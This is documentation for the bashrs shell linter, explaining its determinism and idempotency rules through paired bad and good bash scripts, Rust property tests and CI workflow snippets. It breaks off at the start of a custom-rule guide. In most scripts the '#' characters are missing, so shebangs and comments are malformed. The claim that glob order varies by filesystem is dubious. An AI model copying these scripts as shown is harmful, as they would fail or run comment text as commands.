• Unreproducible builds: Different outputs on each run
• Flaky tests: Tests pass sometimes, fail other times
• Debugging nightmares: Issues can't be reproduced
• Security risks: Unpredictable behavior in production
• Compliance failures: Builds can't be audited or verified

Deterministic = Testable = Reliable

Implemented Rules (DET001-DET003)

bashrs currently implements 3 determinism rules with comprehensive testing. The remaining rules (DET004-DET006) are planned for future releases.

DET001: Non-deterministic $RANDOM Usage

Severity: Error (Critical)

What it Detects

Use of $RANDOM which produces different values on each script execution.

Why This Matters

Scripts using $RANDOM will produce different output on each run, breaking determinism and making testing/debugging impossible. Reproducible builds require deterministic inputs.

Examples

❌ CRITICAL ISSUE:

!/bin/bash
 Non-deterministic - different SESSION_ID every run
SESSION_ID=$RANDOM
echo "Session: $SESSION_ID"

 Deploy script that changes every time
RELEASE="release-$RANDOM"
mkdir "/releases/$RELEASE"

Output varies:

Run 1: Session: 12847
Run 2: Session: 29103  # Different!
Run 3: Session: 5721   # Still different!

✅ GOOD - DETERMINISTIC:

!/bin/bash
 Deterministic - same VERSION produces same SESSION_ID
VERSION="${1:-1.0.0}"
SESSION_ID="session-${VERSION}"
echo "Session: $SESSION_ID"

 Or use hash for pseudo-randomness from input
SESSION_ID=$(echo "${VERSION}" | sha256sum | cut -c1-8)

 Or use timestamp as explicit input
TIMESTAMP="$1"
RELEASE="release-${TIMESTAMP}"
mkdir -p "/releases/$RELEASE"

Output is predictable:

Run 1 with VERSION=1.0.0: Session: session-1.0.0
Run 2 with VERSION=1.0.0: Session: session-1.0.0  # Same!
Run 3 with VERSION=1.0.0: Session: session-1.0.0  # Consistent!

Auto-fix

Not auto-fixable - requires manual decision about deterministic alternative.

Fix suggestions:

1. Version-based ID: SESSION_ID="session-${VERSION}"
2. Argument-based: SESSION_ID="$1" (pass as parameter)
3. Hash-based: SESSION_ID=$(echo "$INPUT" | sha256sum | cut -c1-8)
4. Build ID: Use CI/CD build number: SESSION_ID="${CI_BUILD_ID}"

Testing for $RANDOM

Property-based test to verify determinism:

#![allow(unused)]
fn main() {
#[cfg(test)]
mod tests {
    use proptest::prelude::*;

    proptest! {
        #[test]
        fn test_deterministic_session_id(version in "[0-9]+\\.[0-9]+\\.[0-9]+") {
            // Deterministic: same input → same output
            let session_id_1 = generate_session_id(&version);
            let session_id_2 = generate_session_id(&version);

            // Must be identical
            assert_eq!(session_id_1, session_id_2);
        }
    }
}
}

Real-world Example: Deployment Script

❌ NON-DETERMINISTIC (BAD):

!/bin/bash
 deploy.sh - PROBLEMATIC

 Different deploy ID every time - can't reproduce!
DEPLOY_ID=$RANDOM
LOG_FILE="/var/log/deploy-${DEPLOY_ID}.log"

echo "Deploying with ID: $DEPLOY_ID" | tee "$LOG_FILE"
./install.sh

 Can't find the log file later - which DEPLOY_ID was it?

✅ DETERMINISTIC (GOOD):

!/bin/bash
 deploy.sh - REPRODUCIBLE

 Deterministic deploy ID from version
VERSION="${1:?Error: VERSION required}"
DEPLOY_ID="deploy-${VERSION}"
LOG_FILE="/var/log/deploy-${DEPLOY_ID}.log"

echo "Deploying version: $VERSION" | tee "$LOG_FILE"
./install.sh

 Log file is predictable: /var/log/deploy-1.0.0.log
 Can re-run with same VERSION and get same behavior

DET002: Non-deterministic Timestamp Usage

Severity: Error (Critical)

What it Detects

Use of date commands that produce timestamps:

• $(date +%s) - Unix epoch
• $(date +%Y%m%d) - Date formatting
• `date` - Backtick date command
• date +%H%M%S - Time formatting

Why This Matters

Scripts using timestamps produce different output on each run, breaking:

• Reproducible builds: Can't recreate exact build artifact
• Testing: Tests depend on execution time
• Debugging: Can't reproduce issues
• Auditing: Can't verify build provenance

Examples

❌ CRITICAL ISSUE:

!/bin/bash
 Non-deterministic - different every second!
RELEASE="release-$(date +%s)"
echo "Creating release: $RELEASE"

 Build artifact name changes constantly
BUILD_ID=$(date +%Y%m%d%H%M%S)
ARTIFACT="myapp-${BUILD_ID}.tar.gz"
tar czf "$ARTIFACT" ./dist/

 Can't reproduce this exact build later!

Output varies by time:

Run at 2025-01-15 14:30:00: release-1736951400
Run at 2025-01-15 14:30:01: release-1736951401  # Different!
Run at 2025-01-15 14:30:02: release-1736951402  # Still changing!

✅ GOOD - DETERMINISTIC:

!/bin/bash
 Deterministic - same VERSION produces same RELEASE
VERSION="${1:?Error: VERSION required}"
RELEASE="release-${VERSION}"
echo "Creating release: $RELEASE"

 Build artifact is reproducible
ARTIFACT="myapp-${VERSION}.tar.gz"
tar czf "$ARTIFACT" ./dist/

 Same VERSION always produces same ARTIFACT
 Can reproduce exact build at any time

Output is predictable:

With VERSION=1.0.0: release-1.0.0, myapp-1.0.0.tar.gz
With VERSION=1.0.0: release-1.0.0, myapp-1.0.0.tar.gz  # Same!

Auto-fix

Not auto-fixable - requires manual decision about deterministic alternative.

Fix suggestions:

1. Version-based: RELEASE="release-${VERSION}"
2. Git commit: RELEASE="release-$(git rev-parse --short HEAD)"
3. Argument-based: RELEASE="release-$1" (pass as parameter)
4. SOURCE_DATE_EPOCH: For reproducible builds (see below)

Reproducible Builds: SOURCE_DATE_EPOCH

For builds that MUST include a timestamp (e.g., packaging), use SOURCE_DATE_EPOCH:

✅ REPRODUCIBLE BUILD TIMESTAMP:

!/bin/bash
 build.sh - Reproducible timestamp

 SOURCE_DATE_EPOCH is a standard for reproducible builds
 Set to git commit timestamp for determinism
if [ -z "$SOURCE_DATE_EPOCH" ]; then
    SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)
fi

 This timestamp is now deterministic (same commit → same timestamp)
BUILD_DATE=$(date -u -d "@$SOURCE_DATE_EPOCH" +%Y-%m-%d)
VERSION="${VERSION:-1.0.0}"
RELEASE="release-${VERSION}-${BUILD_DATE}"

echo "Reproducible release: $RELEASE"
 Same commit always produces same RELEASE

Reproducibility achieved:

Build from commit abc123: release-1.0.0-2025-01-10
Build from commit abc123: release-1.0.0-2025-01-10  # Identical!
Build from commit abc123: release-1.0.0-2025-01-10  # Still identical!

Testing for Timestamps

Verify determinism with property tests:

#![allow(unused)]
fn main() {
#[cfg(test)]
mod tests {
    use proptest::prelude::*;

    proptest! {
        #[test]
        fn test_deterministic_release(version in "[0-9]+\\.[0-9]+\\.[0-9]+") {
            // Set environment for reproducibility
            std::env::set_var("SOURCE_DATE_EPOCH", "1736899200");

            // Deterministic: same input → same output
            let release_1 = generate_release(&version);
            let release_2 = generate_release(&version);

            // Must be identical
            assert_eq!(release_1, release_2);
        }
    }
}
}

Real-world Example: CI/CD Pipeline

❌ NON-DETERMINISTIC (BAD):

!/bin/bash
 ci-build.sh - PROBLEMATIC

 Different artifact name every build run
TIMESTAMP=$(date +%s)
ARTIFACT="app-${TIMESTAMP}.tar.gz"

./build.sh
tar czf "$ARTIFACT" ./dist/

 Can't reproduce exact artifact - timestamp always changes!
 Security audits fail - can't verify provenance

✅ DETERMINISTIC (GOOD):

!/bin/bash
 ci-build.sh - REPRODUCIBLE

 Use git commit for deterministic artifact name
GIT_COMMIT=$(git rev-parse --short HEAD)
VERSION="${CI_BUILD_TAG:-dev}"
ARTIFACT="app-${VERSION}-${GIT_COMMIT}.tar.gz"

 Reproducible build with SOURCE_DATE_EPOCH
export SOURCE_DATE_EPOCH=$(git log -1 --format=%ct)

./build.sh
tar czf "$ARTIFACT" ./dist/

 Same commit always produces same artifact
 Security audits pass - provenance is verifiable!

DET003: Unordered Wildcard Usage

Severity: Warning

What it Detects

File glob wildcards without sorting:

• $(ls *.txt) - Unsorted file list
• for f in *.c; do ... done - Order varies by filesystem

Why This Matters

File glob results vary by:

• Filesystem implementation: ext4, btrfs, xfs have different ordering
• Directory entry order: Can change between runs
• Locale settings: Different sorting on different systems

This breaks determinism and causes flaky tests.

Examples

❌ NON-DETERMINISTIC:

!/bin/bash
 Order varies by filesystem!
FILES=$(ls *.txt)
echo "Processing files: $FILES"

 Loop order is unpredictable
for f in *.c; do
    echo "Compiling: $f"
    gcc -c "$f"
done

 Output varies:
 Run 1: file1.c, file2.c, file3.c
 Run 2: file2.c, file1.c, file3.c  # Different order!

✅ DETERMINISTIC:

!/bin/bash
 Explicit sorting for consistent order
FILES=$(ls *.txt | sort)
echo "Processing files: $FILES"

 Loop with sorted glob
for f in $(ls *.c | sort); do
    echo "Compiling: $f"
    gcc -c "$f"
done

 Output is consistent:
 Run 1: file1.c, file2.c, file3.c
 Run 2: file1.c, file2.c, file3.c  # Same order!

Auto-fix

Auto-fixable - adds | sort to wildcard expressions.

Better Alternative: Explicit Arrays

For bash scripts, use sorted arrays:

✅ BASH ARRAY WITH SORTING:

!/bin/bash
 More robust: explicit array with sorting
mapfile -t FILES < <(ls *.txt | sort)

echo "Processing ${#FILES[@]} files"

for file in "${FILES[@]}"; do
    echo "Processing: $file"
    process_file "$file"
done

Testing for Determinism

Verify ordering consistency:

!/bin/bash
 test-determinism.sh

 Run multiple times and compare output
OUTPUT1=$(./process-files.sh)
OUTPUT2=$(./process-files.sh)
OUTPUT3=$(./process-files.sh)

 All outputs should be identical
if [ "$OUTPUT1" = "$OUTPUT2" ] && [ "$OUTPUT2" = "$OUTPUT3" ]; then
    echo "✅ DETERMINISTIC: All runs produced identical output"
else
    echo "❌ NON-DETERMINISTIC: Outputs differ between runs"
    diff <(echo "$OUTPUT1") <(echo "$OUTPUT2")
    exit 1
fi

Real-world Example: Build System

❌ NON-DETERMINISTIC (BAD):

!/bin/bash
 build-all.sh - PROBLEMATIC

 Order varies by filesystem
for src in src/*.c; do
    gcc -c "$src"
done

 Link order affects final binary (on some linkers)
gcc -o myapp *.o

 Binary may differ between builds due to link order!
 Reproducible builds FAIL

✅ DETERMINISTIC (GOOD):

!/bin/bash
 build-all.sh - REPRODUCIBLE

 Explicit sorting for consistent order
mapfile -t SOURCES < <(ls src/*.c | sort)

for src in "${SOURCES[@]}"; do
    gcc -c "$src"
done

 Deterministic link order
mapfile -t OBJECTS < <(ls *.o | sort)
gcc -o myapp "${OBJECTS[@]}"

 Binary is identical between builds
 Reproducible builds PASS ✅

DET004: Process ID Usage (Planned)

Status: Not yet implemented

What it Will Detect

Use of process IDs that change on each execution:

• $$ - Current process ID
• $PPID - Parent process ID
• $BASHPID - Bash-specific process ID

Why This Will Matter

Process IDs are assigned sequentially by the kernel and vary unpredictably:

 Non-deterministic
LOCKFILE="/tmp/myapp-$$.lock"
 Creates /tmp/myapp-12847.lock, then /tmp/myapp-29103.lock, etc.

Planned Fix

Replace with deterministic alternatives:

 Deterministic
LOCKFILE="/tmp/myapp-${USER}-${VERSION}.lock"

DET005: Hostname Dependencies (Planned)

Status: Not yet implemented

What it Will Detect

Scripts that depend on hostname command:

 Non-deterministic across hosts
SERVER_ID=$(hostname)
LOG_FILE="/var/log/app-${SERVER_ID}.log"

Why This Will Matter

Scripts that depend on hostname break when:

• Moving between environments (dev, staging, prod)
• Running in containers with random hostnames
• Hostname changes during system reconfiguration

Planned Fix

Use explicit configuration:

 Deterministic - passed as parameter
SERVER_ID="${1:?Error: SERVER_ID required}"
LOG_FILE="/var/log/app-${SERVER_ID}.log"

DET006: Network Queries for Dynamic Data (Planned)

Status: Not yet implemented

What it Will Detect

Scripts that query external services for dynamic data:

 Non-deterministic - result changes over time
LATEST_VERSION=$(curl -s https://api.example.com/latest)
IP_ADDRESS=$(curl -s ifconfig.me)

Why This Will Matter

Network-dependent scripts break determinism because:

• API responses change over time
• Network failures cause flakiness
• Different results in different networks

Planned Fix

Cache or pin dependencies:

 Deterministic - explicit version
LATEST_VERSION="1.2.3"

 Or use vendored/cached data
LATEST_VERSION=$(cat .version-cache)

Running Determinism Linting

Lint a Single File

bashrs lint script.sh

Lint All Scripts in Project

find . -name "*.sh" -exec bashrs lint {} \;

Filter Only Determinism Rules

bashrs lint --rules DET script.sh

CI/CD Integration

# .github/workflows/lint.yml
name: Determinism Lint
on: [push, pull_request]
jobs:
  determinism:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install bashrs
        run: cargo install bashrs
      - name: Check determinism
        run: |
          find . -name "*.sh" -exec bashrs lint --rules DET {} \;

Testing Determinism

Property-Based Testing

Use proptest to verify deterministic properties:

use proptest::prelude::*;

proptest! {
    #[test]
    fn test_script_deterministic(input in "[a-z]{1,10}") {
        // Run script twice with same input
        let output1 = run_script(&input);
        let output2 = run_script(&input);

        // Outputs MUST be identical
        prop_assert_eq!(output1, output2);
    }
}

Manual Testing

Run scripts multiple times and verify identical output:

!/bin/bash
 test-determinism.sh

SCRIPT="$1"
RUNS=10

echo "Testing determinism of: $SCRIPT"

 Capture first run output
EXPECTED=$("$SCRIPT")

 Run multiple times and compare
for i in $(seq 2 $RUNS); do
    ACTUAL=$("$SCRIPT")

    if [ "$EXPECTED" != "$ACTUAL" ]; then
        echo "❌ FAIL: Run $i produced different output"
        echo "Expected: $EXPECTED"
        echo "Actual: $ACTUAL"
        exit 1
    fi
done

echo "✅ PASS: All $RUNS runs produced identical output"

Common Patterns

Pattern 1: Version-Based Identifiers

Replace random/timestamp with version:

!/bin/bash
 Deterministic deployment
VERSION="${1:?Error: VERSION required}"
RELEASE="release-${VERSION}"
ARTIFACT="app-${VERSION}.tar.gz"

echo "Deploying: $RELEASE"

Pattern 2: Git-Based Identifiers

Use git commit for reproducibility:

!/bin/bash
 Reproducible with git
COMMIT=$(git rev-parse --short HEAD)
BUILD_ID="build-${COMMIT}"

echo "Building: $BUILD_ID"

Pattern 3: Explicit Input

Pass all varying data as arguments:

!/bin/bash
 Deterministic - all inputs explicit
SESSION_ID="$1"
TIMESTAMP="$2"
RELEASE="release-${SESSION_ID}-${TIMESTAMP}"

echo "Release: $RELEASE"

Pattern 4: Sorted Operations

Always sort when order matters:

!/bin/bash
 Deterministic file processing
mapfile -t FILES < <(find . -name "*.txt" | sort)

for file in "${FILES[@]}"; do
    process "$file"
done

Benefits of Determinism

Reproducible Builds

Same inputs always produce same outputs:

• Security auditing
• Build verification
• Compliance (SLSA, SBOM)

Reliable Testing

Tests produce consistent results:

• No flaky tests
• Reliable CI/CD
• Faster debugging

Easier Debugging

Issues can be reproduced:

• Same inputs recreate bugs
• Log files are predictable
• Bisection works reliably

Better Collaboration

Team members get consistent results:

• Same build artifacts
• Predictable behavior
• Reduced "works on my machine"

Further Reading

• Reproducible Builds
• SOURCE_DATE_EPOCH
• SLSA Framework
• Deterministic Algorithms

Quality Guarantee: All DET rules undergo mutation testing and property-based testing to ensure reliable detection of non-deterministic patterns.

Idempotency Rules (IDEM001-IDEM006)

Rash includes idempotency rules designed to detect operations that fail when run multiple times. Idempotent scripts can be safely re-run without side effects or failures, making them reliable for automation and recovery.

Overview

Idempotency linting in Rash focuses on operations that fail on second execution:

• Directory creation without -p (mkdir)
• File removal without -f (rm)
• Symlink creation without cleanup (ln -s)
• Non-idempotent variable appends
• File creation with > (truncating)
• Database inserts without existence checks

All IDEM rules are Warning severity by default to indicate improvements without blocking.

Why Idempotency Matters

Non-idempotent scripts cause:

• Deployment failures: Re-running fails instead of succeeding
• Recovery problems: Can't safely retry after partial failures
• Automation issues: Cron jobs and systemd timers break
• Manual headaches: Operators fear running scripts twice
• Rollback failures: Can't cleanly undo then redo

Idempotent = Safe to Re-run = Reliable

Core Principle

An operation is idempotent if:

f(x) = f(f(x)) = f(f(f(x))) = ...

Running it once or N times produces the same result.

Implemented Rules (IDEM001-IDEM003)

bashrs currently implements 3 idempotency rules with comprehensive testing. The remaining rules (IDEM004-IDEM006) are planned for future releases.

IDEM001: Non-idempotent mkdir

Severity: Warning

What it Detects

mkdir commands without the -p flag.

Why This Matters

mkdir without -p fails if the directory already exists:

$ mkdir /app/releases
$ mkdir /app/releases  # FAILS with "File exists" error
mkdir: cannot create directory '/app/releases': File exists

This breaks idempotency - the script fails on second run even though the desired state (directory exists) is achieved.

Examples

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 deploy.sh - FAILS on second run

mkdir /app/releases
mkdir /app/releases/v1.0.0
ln -s /app/releases/v1.0.0 /app/current

Behavior:

First run:  ✅ SUCCESS - directories created
Second run: ❌ FAILURE - mkdir fails with "File exists"

✅ IDEMPOTENT (GOOD):

!/bin/bash
 deploy.sh - SAFE to re-run

mkdir -p /app/releases
mkdir -p /app/releases/v1.0.0
rm -f /app/current && ln -s /app/releases/v1.0.0 /app/current

Behavior:

First run:  ✅ SUCCESS - directories created
Second run: ✅ SUCCESS - no-op (directories exist)
Third run:  ✅ SUCCESS - still safe!

Auto-fix

Auto-fixable with assumptions - automatically adds -p flag.

Assumption: Directory creation failure is not a critical error condition.

If directory creation failure MUST be detected (rare), keep mkdir without -p and explicitly handle errors:

!/bin/bash
 Only use this if you NEED to detect pre-existing directories
if ! mkdir /app/releases 2>/dev/null; then
    echo "ERROR: Directory /app/releases already exists or cannot be created"
    exit 1
fi

Testing for Idempotency

Verify scripts can run multiple times:

!/bin/bash
 test-idempotency.sh

SCRIPT="$1"

echo "Testing idempotency of: $SCRIPT"

 Run once
"$SCRIPT"
RESULT1=$?

 Run twice
"$SCRIPT"
RESULT2=$?

 Both should succeed
if [ $RESULT1 -eq 0 ] && [ $RESULT2 -eq 0 ]; then
    echo "✅ PASS: Script is idempotent"
else
    echo "❌ FAIL: Script is not idempotent"
    echo "First run: exit $RESULT1"
    echo "Second run: exit $RESULT2"
    exit 1
fi

Real-world Example: Application Setup

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 setup.sh - FAILS on re-run

 Create directory structure
mkdir /opt/myapp
mkdir /opt/myapp/bin
mkdir /opt/myapp/lib
mkdir /opt/myapp/data

 Install application
cp myapp /opt/myapp/bin/
cp lib/*.so /opt/myapp/lib/

 Second run FAILS at first mkdir!

✅ IDEMPOTENT (GOOD):

!/bin/bash
 setup.sh - SAFE to re-run

 Create directory structure (idempotent)
mkdir -p /opt/myapp/bin
mkdir -p /opt/myapp/lib
mkdir -p /opt/myapp/data

 Install application (use -f to force overwrite)
cp -f myapp /opt/myapp/bin/
cp -f lib/*.so /opt/myapp/lib/

 Safe to run multiple times - always succeeds!

IDEM002: Non-idempotent rm

Severity: Warning

What it Detects

rm commands without the -f flag.

Why This Matters

rm without -f fails if the file doesn't exist:

$ rm /app/current
$ rm /app/current  # FAILS with "No such file or directory"
rm: cannot remove '/app/current': No such file or directory

This breaks idempotency - the script fails on second run even though the desired state (file doesn't exist) is achieved.

Examples

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 cleanup.sh - FAILS on second run

rm /tmp/build.log
rm /tmp/cache.dat
rm /app/old-version

Behavior:

First run:  ✅ SUCCESS - files deleted
Second run: ❌ FAILURE - rm fails with "No such file"

✅ IDEMPOTENT (GOOD):

!/bin/bash
 cleanup.sh - SAFE to re-run

rm -f /tmp/build.log
rm -f /tmp/cache.dat
rm -f /app/old-version

Behavior:

First run:  ✅ SUCCESS - files deleted
Second run: ✅ SUCCESS - no-op (files don't exist)
Third run:  ✅ SUCCESS - still safe!

Auto-fix

Auto-fixable with assumptions - automatically adds -f flag.

Assumption: Missing file is not an error condition.

If file existence MUST be verified (rare), explicitly check before removing:

!/bin/bash
 Only use this if you NEED to ensure file exists
if [ ! -f /app/critical-file ]; then
    echo "ERROR: Expected file /app/critical-file not found"
    exit 1
fi

rm /app/critical-file

When to Use rm Without -f

Very rare cases where missing file indicates a problem:

!/bin/bash
 uninstall.sh - Verify installed before uninstalling

 Check installation exists
if [ ! -f /usr/local/bin/myapp ]; then
    echo "ERROR: myapp not installed (expected /usr/local/bin/myapp)"
    exit 1
fi

 Remove (without -f to detect unexpected deletion)
rm /usr/local/bin/myapp

But even here, idempotent version is usually better:

!/bin/bash
 uninstall.sh - Idempotent version

 Idempotent: remove if exists, succeed if not
rm -f /usr/local/bin/myapp

 Report status
if [ -f /usr/local/bin/myapp ]; then
    echo "ERROR: Failed to remove /usr/local/bin/myapp"
    exit 1
else
    echo "✅ myapp uninstalled (or was already removed)"
fi

Real-world Example: Log Rotation

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 rotate-logs.sh - FAILS on second run

 Rotate logs
mv /var/log/app.log /var/log/app.log.1
rm /var/log/app.log.2  # FAILS if doesn't exist!

 Restart app to create fresh log
systemctl restart myapp

✅ IDEMPOTENT (GOOD):

!/bin/bash
 rotate-logs.sh - SAFE to re-run

 Rotate logs (idempotent - -f means no error if missing)
rm -f /var/log/app.log.2
mv -f /var/log/app.log.1 /var/log/app.log.2 2>/dev/null || true
mv -f /var/log/app.log /var/log/app.log.1 2>/dev/null || true

 Restart app to create fresh log
systemctl restart myapp

 Safe to run multiple times!

IDEM003: Non-idempotent ln -s

Severity: Warning

What it Detects

ln -s (symbolic link creation) without removing existing link first.

Why This Matters

ln -s fails if the target already exists:

$ ln -s /app/v1.0.0 /app/current
$ ln -s /app/v1.0.0 /app/current  # FAILS
ln: failed to create symbolic link '/app/current': File exists

This is especially problematic for deployment scripts that update symlinks.

Examples

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 deploy.sh - FAILS on second run

VERSION="$1"
RELEASE_DIR="/app/releases/$VERSION"

 Create symlink (FAILS if exists)
ln -s "$RELEASE_DIR" /app/current

Behavior:

First deploy (v1.0.0):  ✅ SUCCESS - symlink created
Second deploy (v1.0.0): ❌ FAILURE - ln fails with "File exists"
Update deploy (v1.0.1): ❌ FAILURE - ln fails, current still points to v1.0.0!

✅ IDEMPOTENT (GOOD):

!/bin/bash
 deploy.sh - SAFE to re-run

VERSION="$1"
RELEASE_DIR="/app/releases/$VERSION"

 Remove old symlink first (idempotent)
rm -f /app/current

 Create new symlink
ln -s "$RELEASE_DIR" /app/current

Behavior:

First deploy (v1.0.0):  ✅ SUCCESS - symlink created to v1.0.0
Second deploy (v1.0.0): ✅ SUCCESS - symlink recreated (no-op)
Update deploy (v1.0.1): ✅ SUCCESS - symlink updated to v1.0.1!

Auto-fix Options

Not auto-fixable - requires manual choice of strategy.

Option 1: Remove then link (recommended):

rm -f /target && ln -s /source /target

Option 2: ln -sf flag (not always portable):

 Works on Linux, may not work on some Unix systems
ln -sf /source /target

Option 3: Conditional link (explicit):

[ -e /target ] && rm /target
ln -s /source /target

Testing for Idempotency

Verify symlink update works:

!/bin/bash
 test-symlink-idempotency.sh

SCRIPT="./deploy.sh"

echo "Testing symlink idempotency"

 Deploy v1.0.0
"$SCRIPT" v1.0.0
TARGET1=$(readlink /app/current)

 Deploy v1.0.0 again (idempotent)
"$SCRIPT" v1.0.0
TARGET2=$(readlink /app/current)

 Update to v1.0.1
"$SCRIPT" v1.0.1
TARGET3=$(readlink /app/current)

 Verify results
if [ "$TARGET1" = "/app/releases/v1.0.0" ] &&
   [ "$TARGET2" = "/app/releases/v1.0.0" ] &&
   [ "$TARGET3" = "/app/releases/v1.0.1" ]; then
    echo "✅ PASS: Symlink updates are idempotent"
else
    echo "❌ FAIL: Symlink not idempotent"
    echo "Deploy 1: $TARGET1"
    echo "Deploy 2: $TARGET2"
    echo "Deploy 3: $TARGET3"
    exit 1
fi

Real-world Example: Blue-Green Deployment

❌ NON-IDEMPOTENT (BAD):

!/bin/bash
 switch-version.sh - FAILS on re-run

NEW_VERSION="$1"
BLUE_DIR="/srv/app-blue"
GREEN_DIR="/srv/app-green"

 Determine which slot is active
if [ -L /srv/app-current ] && [ "$(readlink /srv/app-current)" = "$BLUE_DIR" ]; then
    INACTIVE_DIR="$GREEN_DIR"
else
    INACTIVE_DIR="$BLUE_DIR"
fi

 Deploy to inactive slot
rsync -a "dist/" "$INACTIVE_DIR/"

 Switch symlink (FAILS if already switched!)
ln -s "$INACTIVE_DIR" /srv/app-current

✅ IDEMPOTENT (GOOD):

!/bin/bash
 switch-version.sh - SAFE to re-run

NEW_VERSION="$1"
BLUE_DIR="/srv/app-blue"
GREEN_DIR="/srv/app-green"

 Determine which slot is active
if [ -L /srv/app-current ] && [ "$(readlink /srv/app-current)" = "$BLUE_DIR" ]; then
    INACTIVE_DIR="$GREEN_DIR"
else
    INACTIVE_DIR="$BLUE_DIR"
fi

 Deploy to inactive slot
rsync -a "dist/" "$INACTIVE_DIR/"

 Switch symlink (idempotent - remove first)
rm -f /srv/app-current
ln -s "$INACTIVE_DIR" /srv/app-current

 Safe to run multiple times!

IDEM004: Non-idempotent Variable Appends (Planned)

Status: Not yet implemented

What it Will Detect

Variable append operations that duplicate values on re-run:

 Non-idempotent
PATH="$PATH:/opt/myapp/bin"
 Second run: PATH has /opt/myapp/bin twice!

Why This Will Matter

Repeated execution causes:

• PATH pollution with duplicates
• Growing environment variables
• Performance degradation (PATH search)

Planned Fix

Use idempotent append pattern:

 Idempotent - only add if not present
if [[ ":$PATH:" != *":/opt/myapp/bin:"* ]]; then
    PATH="$PATH:/opt/myapp/bin"
fi

IDEM005: File Creation with > (Planned)

Status: Not yet implemented

What it Will Detect

File creation with > that truncates existing content:

 Non-idempotent
echo "data" > /var/lib/myapp/config
 Re-run appends "data" again? Truncates? Unclear!

Why This Will Matter

> truncates files, making behavior unclear:

• Loses existing data on re-run
• Not obvious if intentional
• Hard to reason about state

Planned Fix

Use explicit patterns:

 Idempotent - only create if doesn't exist
if [ ! -f /var/lib/myapp/config ]; then
    echo "data" > /var/lib/myapp/config
fi

 Or use >> for append (but check for duplicates)
grep -qF "data" /var/lib/myapp/config || echo "data" >> /var/lib/myapp/config

IDEM006: Database Inserts Without Checks (Planned)

Status: Not yet implemented

What it Will Detect

SQL inserts without existence checks:

 Non-idempotent - fails on second run if unique constraint
mysql -e "INSERT INTO users VALUES (1, 'admin')"

Why This Will Matter

Database operations often fail on duplicate:

• Unique constraint violations
• Breaks migration scripts
• Manual re-runs fail

Planned Fix

Use idempotent SQL patterns:

 Idempotent - upsert pattern
mysql -e "INSERT INTO users VALUES (1, 'admin')
          ON DUPLICATE KEY UPDATE name='admin'"

 Or check first
mysql -e "INSERT INTO users SELECT 1, 'admin'
          WHERE NOT EXISTS (SELECT 1 FROM users WHERE id=1)"

Running Idempotency Linting

Lint a Single File

bashrs lint script.sh

Filter Only Idempotency Rules

bashrs lint --rules IDEM script.sh

Lint All Scripts

find . -name "*.sh" -exec bashrs lint --rules IDEM {} \;

CI/CD Integration

# .github/workflows/lint.yml
name: Idempotency Lint
on: [push, pull_request]
jobs:
  idempotency:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install bashrs
        run: cargo install bashrs
      - name: Check idempotency
        run: |
          find . -name "*.sh" -exec bashrs lint --rules IDEM {} \;

Testing Idempotency

Property-Based Testing

Verify scripts are idempotent:

use proptest::prelude::*;

proptest! {
    #[test]
    fn test_script_idempotent(input in "[a-z]{1,10}") {
        // Run script twice with same input
        let state1 = run_script(&input);
        let state2 = run_script(&input);

        // Final state MUST be identical
        prop_assert_eq!(state1, state2);
    }
}

Manual Testing

Run scripts multiple times and verify success:

!/bin/bash
 test-idempotency.sh

SCRIPT="$1"
RUNS=5

echo "Testing idempotency of: $SCRIPT"

for i in $(seq 1 $RUNS); do
    echo "Run $i..."
    if ! "$SCRIPT"; then
        echo "❌ FAIL: Run $i failed"
        exit 1
    fi
done

echo "✅ PASS: All $RUNS runs succeeded"

State Verification

Verify final state is consistent:

!/bin/bash
 test-state-idempotency.sh

SCRIPT="$1"

echo "Testing state idempotency"

 Run once and capture state
"$SCRIPT"
STATE1=$(get_system_state)

 Run again and capture state
"$SCRIPT"
STATE2=$(get_system_state)

 States should be identical
if [ "$STATE1" = "$STATE2" ]; then
    echo "✅ PASS: System state is idempotent"
else
    echo "❌ FAIL: System state differs"
    diff <(echo "$STATE1") <(echo "$STATE2")
    exit 1
fi

Common Patterns

Pattern 1: Idempotent Directory Setup

Always use -p:

!/bin/bash
 setup-dirs.sh

 Idempotent directory creation
mkdir -p /opt/myapp/{bin,lib,data,logs}
mkdir -p /var/log/myapp
mkdir -p /etc/myapp

Pattern 2: Idempotent Cleanup

Always use -f:

!/bin/bash
 cleanup.sh

 Idempotent file removal
rm -f /tmp/build-*
rm -f /var/cache/myapp/*
rm -rf /tmp/myapp-temp

Pattern 3: Idempotent Symlinks

Remove before linking:

!/bin/bash
 update-links.sh

 Idempotent symlink updates
rm -f /usr/local/bin/myapp
ln -s /opt/myapp/v2.0/bin/myapp /usr/local/bin/myapp

Pattern 4: Idempotent Configuration

Check before modifying:

!/bin/bash
 configure.sh

CONFIG_FILE="/etc/myapp/config"

 Idempotent config line addition
if ! grep -qF "setting=value" "$CONFIG_FILE"; then
    echo "setting=value" >> "$CONFIG_FILE"
fi

Benefits of Idempotency

Reliable Automation

Scripts can run repeatedly:

• Cron jobs safe to re-run
• Systemd timers don't accumulate errors
• CI/CD pipelines are resilient

Easy Recovery

Failed operations can be retried:

• Partial failures can be re-run
• No manual cleanup needed
• Rollbacks work cleanly

Safe Operations

Operators can run without fear:

• "Did I already run this?" - doesn't matter!
• Re-running is safe
• No destructive side effects

Better Testing

Tests are more reliable:

• Can run tests multiple times
• No test pollution
• Easier to debug

Further Reading

• Idempotence (Wikipedia)
• Ansible Idempotency
• Infrastructure as Code: Idempotency

Quality Guarantee: All IDEM rules undergo comprehensive testing including multiple-run verification to ensure idempotency detection is accurate.

Writing Custom Lint Rules

This guide explains how to implement custom lint rules in bashrs using EXTREME TDD methodology. Custom rules extend bashrs's linting capabilities for project-specific requirements.

Overview

bashrs's linting architecture supports:

• Pattern-based rules: Regex and string matching (most common)
• AST-based rules: Deep semantic analysis (advanced)
• Auto-fix support: Safe, safe-with-assumptions, or unsafe fixes
• Shell compatibility: Rules can be shell-specific (sh, bash, zsh)
• Comprehensive testing: Unit, property, mutation, and integration tests

Rule Architecture

Rule Structure

Every lint rule is a Rust module implementing a check() function:

//! RULEID: Short description
//!
//! **Rule**: What pattern this detects
//!
//! **Why this matters**: Impact and reasoning
//!
//! **Auto-fix**: Fix strategy (if applicable)

